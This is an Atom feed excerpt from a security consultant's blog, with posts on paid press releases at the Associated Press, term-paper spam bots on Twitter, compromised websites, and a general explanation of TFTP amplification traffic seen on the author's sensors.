<p>Many people right now are so sure that they understand the rules that describe our social and economic world - they understand the implicit and explicit mechanisms that drive who fails and who succeeds, and yet I&rsquo;m pretty positive they don&rsquo;t - especially if they&rsquo;re the ones with a bag full of pebbles.</p>
<p>I&rsquo;m absolutely not claiming to understand anything much about the stated and unstated rules in this world. I&rsquo;ll even categorically state that I <em>don&rsquo;t</em> understand those rules. But I will say this: there&rsquo;s a whole lot of randomness to who <em>wins</em> and who <em>loses</em> in life. <em>Far more randomness than most people are comfortable accepting</em>.</p>
<p>All of the inequity in the result of our game arises from a perfectly fair system; in the simulation, the people who <em>win</em> are randomly different every time. Imagine the results if you threw in even the smallest amount of systemic unfairness&hellip;</p>
<p>Try to remember that, and try to be kind.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
April 19, 2021</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/personal" term="personal" label="personal" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/series/inequity" term="inequity" label="Inequity" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/unfairness" term="unfairness" label="unfairness" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Steppin' In It]]></title>
            <link href="https://yourflyis0pen.com/article/steppin-in-it/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/lies-lies-lies/?utm_source=atom_feed" rel="related" type="text/html" title="Lies, lies, lies..." />
                <link href="https://yourflyis0pen.com/article/ap/?utm_source=atom_feed" rel="related" type="text/html" title="Hypocrisy: A Dramatic Play In Two Acts" />
                <link href="https://yourflyis0pen.com/article/why/?utm_source=atom_feed" rel="related" type="text/html" title="Why Should the Bad Guys Have All the Fun?" />
                <link href="https://yourflyis0pen.com/article/hive/?utm_source=atom_feed" rel="related" type="text/html" title="You will never find a more wretched hive of scum and villainy..." />
                <link href="https://yourflyis0pen.com/article/ishmael/?utm_source=atom_feed" rel="related" type="text/html" title="Call me Ishmael" />
            
                <id>https://yourflyis0pen.com/article/steppin-in-it/</id>
            
            
            <published>2021-04-18T21:38:06-05:00</published>
            <updated>2021-04-18T21:38:06-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>For the most part, the target of this blog is security professionals.</p>
<p>I talk about all kinds of things&hellip; but, generally speaking, pretty much all of this stuff is, at the very least, <em>security adjacent</em>.</p>
<p>For <a href="/article/ap/">some</a> time <a href="/article/lies-lies-lies/">now</a>, I&rsquo;ve been going on about the Associated Press. I&rsquo;m deeply dismayed that the AP is selling <em>legitimacy</em> (via the AP brand) to organizations whose products are, shall we say, the tiniest bit <em>questionable</em>. For a fee, the Associated Press (&quot;<em>Since 1846, AP has done more than any organization in the world to expand the reach of factual reporting</em>&quot;, <a href="https://www.ap.org/press-releases/2020/ap-advancing-the-power-of-facts#:~:text=Since%201846,reach%20of%20factual%20reporting">according to AP President and CEO Gary Pruitt</a>) will place a <em>press release</em> on their site that says&hellip; well&hellip; as far as I can tell, pretty much whatever you want it to say.</p>
<p>You read that right: it seems if some PR flack tosses it to the AP, they print it - editorial oversight, facts, and journalistic ethics be damned.</p>
<p>How else can you explain the cavalcade of skeevy, questionable advertisements masquerading as <em>press releases</em> that populate the AP&rsquo;s website? There are psychics. There are herbal supplements targeted to treat everything from herpes to tinnitus - some even claiming to providing <em>male enhancement</em>. There are Canadian pharmacies. Finally, there are - my personal favorites - the essay / research paper writing <em>services.</em> (You know&hellip; <em>Plagiarism ᴙ Us</em>)</p>
<p>Personally, I&rsquo;m outraged. <em>Unfortunately, I seem to be the only one&hellip;</em> This issue seems to be failing to gain much traction with my audience.</p>
<p>That&rsquo;s my fault.</p>
<p>Psychics, term papers, and dietary supplements designed to fix those nasty herpes breakouts may be a bit <em>outré</em> for this crowd. I needed to find something to bring this story <em>home</em>, something that would make this concept relevant for the security folks who read this blog.</p>
<p>Oh man&hellip; did I find it.</p>
<p>Even if you can&rsquo;t bring yourself to whip up a little righteous indignation over the Associated Press auctioning its reputation to skeevy term paper peddlers, maybe you&rsquo;ll still find this a little <em>triggering</em>:</p>
<p>The Associated Press, &ldquo;<em>always committed to the highest standards of objective, accurate journalism</em>&rdquo;, winner of 54 Pulitzer Prizes (okay, a lot of those are for takin&rsquo; pictures, but still&hellip;) is hosting <em>paid content</em> for <strong>Crown Sterling</strong>.</p>
<p>[<em>So&hellip; let&rsquo;s play a little game: only one of the links in the following paragraph <strong>is not</strong> a paid press release on the Associated Press website. Without hovering over them and checking, can you guess which one is an actual news article?</em>]</p>
<p>Crown Sterling is a company that sells <a href="https://apnews.com/press-release/pr-businesswire/6f5e1002c181435abe93a111aa2b3909">&ldquo;the world’s first dynamic ‘non-factor’ based quantum AI encryption software&rdquo;, &ldquo;[u]tilizing multi-dimensional encryption technology, including time, music’s infinite variability, artificial intelligence, and most notably mathematical constancies to generate entangled key pairs.&rdquo;</a> They know they&rsquo;ve got something special. So special, in fact, that when they were roundly heckled during their Black Hat presentation (even though they <a href="https://apnews.com/press-release/pr-businesswire/fed1e4d14fe043bb99c7e283cb668881">believe they <strong>totally</strong> made the case for how special they are</a>) they attempted to <a href="https://www.wired.com/story/alleged-snake-oil-crypto-company-sues-over-boos-black-hat/">sue the people the people who booed them</a> and the <a href="https://apnews.com/press-release/pr-prnewswire/f9da81eb6cfefa44937baf45d872ea28">venue at which they were booed</a>.</p>
<p>[<em>Did you guess correctly?</em>]</p>
<p>So, what&rsquo;s it going to take? Crown Sterling is <a href="https://www.schneier.com/blog/archives/2019/09/the_doghouse_cr_1.html">consistently</a> derided <a href="https://medium.com/@hallam/getting-rsa-256-bits-wrong-4a9339f2f178">by</a> those <a href="https://twitter.com/ncweaver/status/1175493814296858624">in</a> the <a href="https://twitter.com/ErrataRob/status/1175030733657837568?ref_src=twsrc%5Etfw">security</a> community. <a href="https://www.secjuice.com/whippy3/">Seriously</a>. The problem is, they talk a good game and throw around enough techno/crypto terms to fill your buzzword bingo card in one go.</p>
<p>That&rsquo;s where the Associated Press and other folks willingly taking cash to publish whatever chum Crown Sterling&rsquo;s PR machine spews out comes into play.</p>
<p>Selling technology, especially cryptography, should be based on technical merit. It&rsquo;s far too easy for non-technical folks to fall for Crown Sterling&rsquo;s <em>schtick</em>. Having their buzzword-dense <em>press releases</em> given credence by placement on the website of a company who claims &ldquo;<em>170 years [of commitment] to the highest standards of objective, accurate journalism</em>” is a huge problem. Especially when, after 170 years, that company seems unwilling to exercise <em><strong>any</strong></em> editorial control over the <em>press releases</em> they get paid to publish.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
April 19, 2021</p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/hypocrites" term="hypocrites" label="hypocrites" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/series/the-enablers" term="the-enablers" label="The Enablers" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/fake-news" term="fake-news" label="fake news" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/rant" term="rant" label="rant" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Why Should the Bad Guys Have All the Fun?]]></title>
            <link href="https://yourflyis0pen.com/article/why/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/hive/?utm_source=atom_feed" rel="related" type="text/html" title="You will never find a more wretched hive of scum and villainy..." />
                <link href="https://yourflyis0pen.com/article/fugget-about-it/?utm_source=atom_feed" rel="related" type="text/html" title="Fugget About It" />
                <link href="https://yourflyis0pen.com/article/extraordinary-claims/?utm_source=atom_feed" rel="related" type="text/html" title="Extraordinary Claims, Ordinary Evidence..." />
                <link href="https://yourflyis0pen.com/article/ishmael/?utm_source=atom_feed" rel="related" type="text/html" title="Call me Ishmael" />
                <link href="https://yourflyis0pen.com/article/lies-lies-lies/?utm_source=atom_feed" rel="related" type="text/html" title="Lies, lies, lies..." />
            
                <id>https://yourflyis0pen.com/article/why/</id>
            
            
            <published>2021-04-12T23:11:15-05:00</published>
            <updated>2021-04-12T23:11:15-05:00</updated>
            
            
            <content type="html"><![CDATA[<p><a href="/article/hive">The latest skeevy tactic</a> to be used by the skeevy purveyors of term papers is to troll Twitter for tweets containing specific keywords or phrases and respond with a skeevy sales pitch pushing their&hellip; well&hellip; skeevy wares.</p>
<p>Tweet about the deadline you&rsquo;re facing on an essay or research paper, and you&rsquo;ll get responses from all sorts of folks willing to <em>assist</em> you with your homework.</p>
<p><a href="/article/ambulance-chasing">Ambulance chasing</a> at its finest.</p>
<p>Shortly after I first discovered this phenomenon, I found myself thinking, &ldquo;<em>Why should the bad guys have all the fun?</em>&rdquo;</p>
<p>If these scummy, border-line legitimate businesses can create their own plagiarism-promotion Twitter-bots (that use all too predictable phraseology) and attempt to persuade students to abandon their academic integrity, what&rsquo;s to keep <em>someone</em> from creating a Twitter-bot designed to promote an alternative message? And what&rsquo;s to prevent <em>that</em> Twitter-bot from targeting the exact tweets that the term-paper-promotion bots target?</p>
<p>The only problem would be finding a stunningly handsome and devastatingly brilliant person who would be willing and able to create something like that&hellip; in, as it turns out, only a couple of hours.</p>
<p>While it still needs a little improvement<sup><a href="#footnote">*</a></sup>, I give you the anti-plagiarism Twitter bot:</p>
<p><img src="response.png" alt="A Tweet"></p>
<p>I&rsquo;ll gladly entertain suggestions for better wording on the messages it sends.</p>
<p>Here it is in all of it&rsquo;s glory, responding amidst a torrent of term-paper Twitter-spam.</p>
<p><img src="full.png" alt="A torrent of term-paper Twitter-spam"></p>
<p><em>[Because I redacted them all, I counted - so you don&rsquo;t have to: there were 24 scummy responses]</em></p>
<p>Hey, term-paper pushers: it sucks to be hoisted by your own petard, doesn&rsquo;t it?</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
March 18, 2021</p>
<p><em>[Update #1: It took me all of 5 minutes to make the fix I talk about down there in the footnote with the asterisk. What can I say? I&rsquo;m good&hellip; Unfortunately, I was too tired last night to think in any depth about it. Back online!]</em></p>
<p><em>[Update #2: Yes, I know that this represents a tiny drop in a great ocean full of Internet Menace. I acknowledge that. All I can say is: it makes me feel better.]</em></p>
<p id="footnote"><sup>*</a></sup>There's one issue I need to figure out how to fix:</p>
<p>I had a lovely conversation with a couple of K-pop stans who clued me in on some behavior that wasn&rsquo;t making sense (I was seeing several totally unrelated mentions of &ldquo;essay&rdquo; in replies an odd variety of tweets). It seems that the youngsters have figured out how to use the essay Twitter-bots to their advantage - because they tend to both <em>like</em> and reply to tweets about essays:</p>
<p><img src="stan.png" alt="Conversation with a K-pop stan"></p>
<p>While I applaud their ingenuity, I don&rsquo;t want my bot to be dragged into that sort of use. I&rsquo;m pretty sure I know how to fix this issue (and I also have some improvements planned&hellip;) but for now, I&rsquo;ve taken it off-line until I can implement the changes.</p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/twitter" term="twitter" label="twitter" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/series/the-term-paper-blues" term="the-term-paper-blues" label="The Term Paper Blues" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/craziness" term="craziness" label="craziness" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/rant" term="rant" label="rant" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[You will never find a more wretched hive of scum and villainy...]]></title>
            <link href="https://yourflyis0pen.com/article/hive/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/fugget-about-it/?utm_source=atom_feed" rel="related" type="text/html" title="Fugget About It" />
                <link href="https://yourflyis0pen.com/article/extraordinary-claims/?utm_source=atom_feed" rel="related" type="text/html" title="Extraordinary Claims, Ordinary Evidence..." />
                <link href="https://yourflyis0pen.com/article/ishmael/?utm_source=atom_feed" rel="related" type="text/html" title="Call me Ishmael" />
                <link href="https://yourflyis0pen.com/article/lies-lies-lies/?utm_source=atom_feed" rel="related" type="text/html" title="Lies, lies, lies..." />
                <link href="https://yourflyis0pen.com/article/ap/?utm_source=atom_feed" rel="related" type="text/html" title="Hypocrisy: A Dramatic Play In Two Acts" />
            
                <id>https://yourflyis0pen.com/article/hive/</id>
            
            
            <published>2021-04-11T18:24:53-05:00</published>
            <updated>2021-04-11T18:24:53-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>That pretty well sums up Twitter.</p>
<p>Don&rsquo;t get me wrong. I think that Twitter has its good points. It&rsquo;s just that I&rsquo;m not sure that they outweigh the <em>scum and villainy</em> that you encounter there.</p>
<hr>
<p>Sometimes, I get a little bored. Most people would watch a movie or read a book.</p>
<p>I mess with Internet idiots.</p>
<p>The idiots <em>du jour</em> are (once again) my buddies profiting from academic dishonesty by selling <em>term / research paper writing services</em>.</p>
<p>To bring you up-to-date, thus far I&rsquo;ve:</p>
<ul>
<li>Chronicled the <a href="/article/miracle">magical</a> happenstance of <a href="/article/do-more-research/">links</a> to term paper service storefronts <em>somehow</em> appearing on <a href="/article/merica/">hacked</a> sites, creating a search engine boost for their sales.</li>
<li>Written extensively on how these same skeevy term paper services are <a href="/article/ap/">rehabilitating</a> their <a href="/article/lies-lies-lies/">reputations</a> (and boosting their search engine position) by paying a PR firm to place <em>press releases</em> on the site of the Associated Press.</li>
</ul>
<p>Yesterday&rsquo;s adventure was based on some Twitter searchin&rsquo; that I&rsquo;ve been doing. You see, I&rsquo;m more than a little bit peeved about this whole Associated Press thing, and I&rsquo;m trying to figure out some way to get it the attention that I think it deserves. I really want to find a way to hold the AP&rsquo;s feet to the fire to get them to cut this crap out. (<em>Seriously, if anyone has a notion on how to make that to happen, please let me know&hellip;</em>)</p>
<p>Anyway, one of the things that I noticed when I was doing Twitter searches for <em>academic integrity</em> was an odd response. Someone was responding to a Tweet by saying something like, &ldquo;<em>That could get me an academic integrity violation</em>.&rdquo; Obviously, that was too intriguing to pass up, so I dug into the conversation to see what was going on.</p>
<p>What I found was appalling.</p>
<p>A college student, facing an impending deadline for a paper had simply been venting. This young lady said something akin to &ldquo;I&rsquo;ve been procrastinating about starting the big research paper I have due in two weeks.&rdquo; Based on the timestamps on the tweets, it took less than 5 minutes for her to receive a response from what appeared to be a Twitter bot associated with some a skeevy research paper service. They were offering to produce a paper for her.</p>
<p>If that young lady could accidentally trigger a response, what if I <strong>tried</strong> to <em>trigger me some bots</em>.</p>
<p>So, I tweeted:</p>
<p><img src="tweet.png" alt="A tweet"></p>
<p>I timed it.</p>
<p>I&rsquo;m just <em>that</em> way&hellip;</p>
<p>It took 47 seconds for the first response to hit&hellip;  Then another, and another, and another, and another, and&hellip;  All in all, I received 8 responses:</p>
<p><img src="replies.png" alt="Skeevy replies"></p>
<p>I received responses from Assignment Help (<a href="https://twitter.com/Assignment204">@Assignment204</a>), ParagonWriters (<a href="https://twitter.com/WritersParagon">@WritersParagon</a>), Academia Pro (<a href="https://twitter.com/_Academia_PRO">@_Academia_PRO</a>), Elena essays (<a href="https://twitter.com/ElenaEssays">@ElenaEssays</a>), Isabell_Writer Pro (<a href="https://twitter.com/isabellchloe95">@isabellchloe95</a>), Essay Writing Services (<a href="https://twitter.com/Essaywritin_USA">@Essaywritin_USA</a>), Premium Academic Writers (<a href="https://twitter.com/premiumwriters5">@premiumwriters5</a>), and OXFORD WRITERS (<a href="https://twitter.com/oxfordwritr">@oxfordwritr</a>).</p>
<p>Obviously, any organization that just <em>pops up</em> when you mention something on Twitter is probably not the place to spend money, just sayin&rsquo;&hellip; But, you gotta figure that these folks represent the crème de la crème of the term paper writing service industry, because what says <em>fine, upstanding company</em> quite like a business model that includes sniping keywords on Twitter? Unfortunately, the fact that they continue down this sleezy path means that they&rsquo;ve likely bagged more than a few academically struggling college students this way.</p>
<p>The brazenness of these clowns seems to be unlimited - they facilitate academic dishonesty, get SEO benefit from hacked websites, and use the Associated Press to legitimize their utterly illegitimate businesses. It&rsquo;s like they&rsquo;re pond scum with Satan&rsquo;s marketing team.</p>
<p>So&hellip; I&rsquo;ve decided I need to do something about it.</p>
<p>I&rsquo;m not saying what I&rsquo;m going to do - yet - but trust me, it&rsquo;s going to be fun.</p>
<p>Developing code to use the Twitter API is actually relatively easy - the hardest thing seems to be keeping up with overall ambiguity that seems to constantly swirl around Twitter&rsquo;s developer program. I&rsquo;ve had what I <em>thought</em> was a developer account for years. In that account, I even have apps listed (for a long time, I ran a honeypot that I wrote that tweeted whenever it was attacked). I have keys. I have secrets&hellip; the whole nine yards. But when I went to use Twitter&rsquo;s streaming API, apparently I have some sort of old fashioned developer account and I can&rsquo;t be trusted with the <em>full power</em> of the Twitter API. Twitter has been pulling this stuff for years: changing the rules in the middle of the game.</p>
<p>So I&rsquo;ve applied for a new-fangled developer account&hellip; We&rsquo;ll just have to wait and see what happens.</p>
<p>Keep checking back - I&rsquo;ve got something interesting in mind&hellip;</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
April 12, 2021</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/twitter" term="twitter" label="twitter" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/series/the-term-paper-blues" term="the-term-paper-blues" label="The Term Paper Blues" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/craziness" term="craziness" label="craziness" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/rant" term="rant" label="rant" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Tee Eff Tee Pee]]></title>
            <link href="https://yourflyis0pen.com/article/tftp/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/uh-dot-dot-dot/?utm_source=atom_feed" rel="related" type="text/html" title="Uh..." />
                <link href="https://yourflyis0pen.com/article/ishmael/?utm_source=atom_feed" rel="related" type="text/html" title="Call me Ishmael" />
                <link href="https://yourflyis0pen.com/article/starting_april/?utm_source=atom_feed" rel="related" type="text/html" title="Starting April" />
                <link href="https://yourflyis0pen.com/article/lies-lies-lies/?utm_source=atom_feed" rel="related" type="text/html" title="Lies, lies, lies..." />
                <link href="https://yourflyis0pen.com/article/ap/?utm_source=atom_feed" rel="related" type="text/html" title="Hypocrisy: A Dramatic Play In Two Acts" />
            
                <id>https://yourflyis0pen.com/article/tftp/</id>
            
            
            <published>2021-04-08T19:18:02-05:00</published>
            <updated>2021-04-08T19:18:02-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>Over the past week, I&rsquo;ve noticed a pretty strong uptick in traffic to the default TFTP port, 69/UDP.</p>
<p>TFTP? What&rsquo;s up with that?</p>
<p><img src="graph.png" alt="Boom&hellip; Uptick!"></p>
<p>[<em>Note: I love me some python + matplotlib. Just sayin&rsquo;&hellip;</em>]</p>
<p>TFTP, or <em>Trivial File Transfer Protocol</em>, is a simple high-level protocol for transferring data. It is often used to boot or configure diskless workstations, X-terminals, and routers. TFTP sends information using the User Data Protocol (UDP) and generally runs on port 69/UDP.</p>
<p>Generally, there&rsquo;s not a lot of call for TFTP to <strong><em>ever</em></strong> be open on the big, bad Internet. There&rsquo;s no concept of login; no usernames, no passwords. It&rsquo;s as insecure protocols come.</p>
<p>So, given that Internet-available TFTP servers should be as rare as hen&rsquo;s teeth, what the heck is going on with the sudden spike in packets directed to 69/UDP?</p>
<p>When you&rsquo;re confused by something that you&rsquo;re seeing on the Internet, it helps to remember what I will, henceforth, be referring to as <em>Liston&rsquo;s Two Laws of the Conservation of Packets</em>:</p>
<pre tabindex="0"><code class="language-quote" data-lang="quote">1) Packets don&#39;t lie.
2) Bad guys never do things for no reason.
</code></pre><p>If the &lsquo;Net baddies are slinging packets, there&rsquo;s <em>always</em> a reason. It may be a stoopid reason - but there&rsquo;s <em>always</em> a reason.</p>
<p>Let&rsquo;s take a look at the packets. Essentially, with the exception of the source IP, they&rsquo;re all the same. This is absolutely some kind of tool.  Here&rsquo;s an example packet (grabbed from one of my &lsquo;Net sensors) that shows us pretty much everything we need to see.</p>
<p><img src="tftp.png" alt="A TFTP Packet"></p>
<p>If you&rsquo;re not familiar with the packet-level workings of TFTP, let me &lsquo;splain. This is a TFTP read request (an RRQ in TFTP-speak) &hellip; pretty much the TFTP equivalent of an HTTP GET request. It&rsquo;s, essentially, saying, &ldquo;<em>Hey, can you please give me the file named &lsquo;x&rsquo;?</em>&rdquo; If there were a TFTP server hanging out on this system, it would dutifully check to see if it had a file named &ldquo;x&rdquo;, and if it did, it would begin sending it. Otherwise, it would send back the equivalent of a &ldquo;file not found&rdquo; message.</p>
<p>TFTP is a pretty brain-dead protocol. As I&rsquo;ve already said, there&rsquo;s no concept of authentication; no usernames, no passwords. You can&rsquo;t list a directory using TFTP&hellip; you basically need to know the filename you&rsquo;re looking to grab in advance. This simplicity makes client code small and easy to write / integrate into low powered devices to use to grab a specifically named configuration file on boot.</p>
<p>So I&rsquo;ll ask again: TFTP? What&rsquo;s up with that?</p>
<h2 id="im-sorry-i-cant-hear-you-please-speak-up">I&rsquo;m sorry. I can&rsquo;t hear you. Please speak up!</h2>
<p><em>Amplification</em> is the name of the game&hellip;</p>
<p>Let&rsquo;s say you&rsquo;re a skeevy bot-herder and you&rsquo;re looking to make some bank by performing a DDoS attack for hire. You&rsquo;ve 0wned enough systems that your bots can generate around 200 Mbps of traffic. While that&rsquo;s probably enough to knock one of your gaming buddies off the net when he&rsquo;s camping on a spawn point, it&rsquo;s not really DDoS-for-hire material.</p>
<p>But what if you could find a way to turn your 200 Mbps into a much bigger stream of data? What if you could multiply the size of your DDoS traffic? What if that amplification was, essentially, free?</p>
<p>Here&rsquo;s what you need to do that:</p>
<ul>
<li>You need some way to send a single, relatively small packet and get back a <em>MUCH</em> bigger response.</li>
<li>You need to be able to impersonate your DDoS target so that the response will go to them, rather than back to you.</li>
</ul>
<p>Hello TFTP&hellip;</p>
<p>Because TFTP runs over a connectionless protocol (UDP), you can easily impersonate your target system. You simply send a UDP packet with a faked source address to a TFTP server, and it&rsquo;ll happily respond back to the system from which it <em>thinks</em> the packet came. Better still, if you can find a real, live, Internet-accessible TFTP server, its response will be appreciably bigger than the packet you send&hellip; somewhere on the order of 30 - 100 times bigger.</p>
<p>That&rsquo;ll turn your 200 Mbps into 6 Gbps - 20 Gbps, and that&rsquo;s not too shabby.</p>
<p>But now, you&rsquo;ve got one more problem&hellip; finding a TFTP server, UDP is a notoriously difficult protocol to use for a port scan. Ask anyone who&rsquo;s ever done it about the joys of UDP scanning, and they&rsquo;ll give you a pained expression and walk away shaking their heads.</p>
<p>Seriously. Go find someone right now and try it. I&rsquo;ll wait&hellip;</p>
<p>I was right, wasn&rsquo;t I?</p>
<p>If you are doing a UDP scan for targets, then you&rsquo;re probably just looking for systems that don&rsquo;t respond with some sort of ICMP unreachable error and calling it a win.  When you find one of those, you&rsquo;ll be painting that sucker with all the UDP-source-impersonating-TFTP-RRQ-love you can muster. Thus the spike seen above.</p>
<p>One of the downsides of monitoring Internet traffic for all kinds of badness is that whenever you see something shady like this going on, you&rsquo;re left wondering, &ldquo;<em>Is it me, or is it everyone?</em>&rdquo; I don&rsquo;t know. I&rsquo;m seeing this on one system, but I don&rsquo;t know just how widespread it may be.</p>
<p>TFTP? What&rsquo;s up with that?</p>
<p>I&rsquo;ll tell you <em>what&rsquo;s up with that</em>:</p>
<p>If the bad guys can find themselves enough TFTP servers that have been left open on the Internet, then they can use the combined bandwidth of those TFTP servers to wreak all kinds of havoc.</p>
<p>So, even though the likelihood of finding one is low, let&rsquo;s just say that the value of a TFTP server - if found - isn&rsquo;t so very&hellip; well&hellip; <em>TRIVIAL</em>.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
April 9, 2021</p>]]></content>
            
                 
                    
                 
                    
                 
                    
                 
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Uh...]]></title>
            <link href="https://yourflyis0pen.com/article/uh-dot-dot-dot/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/wait-wut/?utm_source=atom_feed" rel="related" type="text/html" title="Wait... Wut?" />
                <link href="https://yourflyis0pen.com/article/miracle/?utm_source=atom_feed" rel="related" type="text/html" title="A Miracle In University Park" />
                <link href="https://yourflyis0pen.com/article/merica/?utm_source=atom_feed" rel="related" type="text/html" title="Now You&#39;re Messin&#39; With &#39;Merica" />
                <link href="https://yourflyis0pen.com/article/do-more-research/?utm_source=atom_feed" rel="related" type="text/html" title="Maybe You Should Do More Research..." />
                <link href="https://yourflyis0pen.com/article/and-who-are-you/?utm_source=atom_feed" rel="related" type="text/html" title="And... Who Are You?" />
            
                <id>https://yourflyis0pen.com/article/uh-dot-dot-dot/</id>
            
            
            <published>2021-04-07T08:26:22-05:00</published>
            <updated>2021-04-07T08:26:22-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>The organization wasn&rsquo;t big, but they did have an IT department that apparently consisted of about a half dozen people.</p>
<p>It was one of <em>those</em> compromises. One of the ones that, for whatever reason, I can&rsquo;t quite get out of my head. One of those where I keep beating the bushes, trying to get <em>someone</em> to pay attention and get the thing cleaned up.</p>
<p>It took a few attempts, calling, sending email to everyone in IT, but eventually I got someone&rsquo;s attention and a promise that they were working to get their website fixed.</p>
<p>A week or two passed.</p>
<p>As I often do, I went back to take a look - just to see if any progress was being made.</p>
<p>Sure enough, they <em>had</em> actually removed a wide swath of compromised pages.</p>
<p>Things were looking better.</p>
<p>Then I looked at one of their subdomains.</p>
<p>It was still compromised - still flogging term papers, performing SEO for academic dishonesty.</p>
<p>I emailed them again, figuring that they simply had missed this one portion of their infrastructure.</p>
<p>They responded almost immediately this time. They were aware that their site was still compromised.</p>
<p>And then, these IT professionals said one last thing: they had contracted to have a company come in and rework the PHP backend of their site to eliminate the issue.</p>
<p>Oh&hellip; I almost forgot one tiny, important detail: It&rsquo;s a frickin&rsquo; WordPress site.</p>
<p>Uh&hellip;</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
April 7, 2021</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/professionalism" term="professionalism" label="professionalism" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/webapp" term="webapp" label="webapp" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/cms" term="cms" label="cms" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/uh-oh" term="uh-oh" label="uh-oh" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Call me Ishmael]]></title>
            <link href="https://yourflyis0pen.com/article/ishmael/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/priorities/?utm_source=atom_feed" rel="related" type="text/html" title="Priorities" />
                <link href="https://yourflyis0pen.com/article/danger-will-robinson/?utm_source=atom_feed" rel="related" type="text/html" title="Danger, Will Robinson!" />
                <link href="https://yourflyis0pen.com/article/and-who-are-you/?utm_source=atom_feed" rel="related" type="text/html" title="And... Who Are You?" />
                <link href="https://yourflyis0pen.com/article/lies-lies-lies/?utm_source=atom_feed" rel="related" type="text/html" title="Lies, lies, lies..." />
                <link href="https://yourflyis0pen.com/article/ap/?utm_source=atom_feed" rel="related" type="text/html" title="Hypocrisy: A Dramatic Play In Two Acts" />
            
                <id>https://yourflyis0pen.com/article/ishmael/</id>
            
            
            <published>2021-04-05T07:40:09-05:00</published>
            <updated>2021-04-05T07:40:09-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>I <em>know</em> you&rsquo;ve seen my messages. I don&rsquo;t understand your choice.</p>
<p><em>Why are you ignoring me?</em></p>
<p>I&rsquo;ve sent you multiple messages through your website. I&rsquo;ve <em>pinged</em> you several times on Twitter, and I&rsquo;ve done it at times when I can watch you answering other tweets - blathering about inanities, sending messages of support, chattering about anything and nothing.</p>
<p>I&rsquo;ve become convinced that it&rsquo;s impossible for you to have <em>NOT</em> seen my messages.</p>
<p>&ldquo;<em>Your website is compromised.</em>&rdquo;</p>
<p>At times, I&rsquo;ve been polite.</p>
<p>At other times, I&rsquo;ve been a little rude.</p>
<p>I&rsquo;ve given you simple Google searches to try.</p>
<p>I&rsquo;ve done those Google searches <em>for you</em> and I&rsquo;ve sent you screenshots of the results.</p>
<p>Heck, I&rsquo;ve even sent you a screenshot of your compromised site.</p>
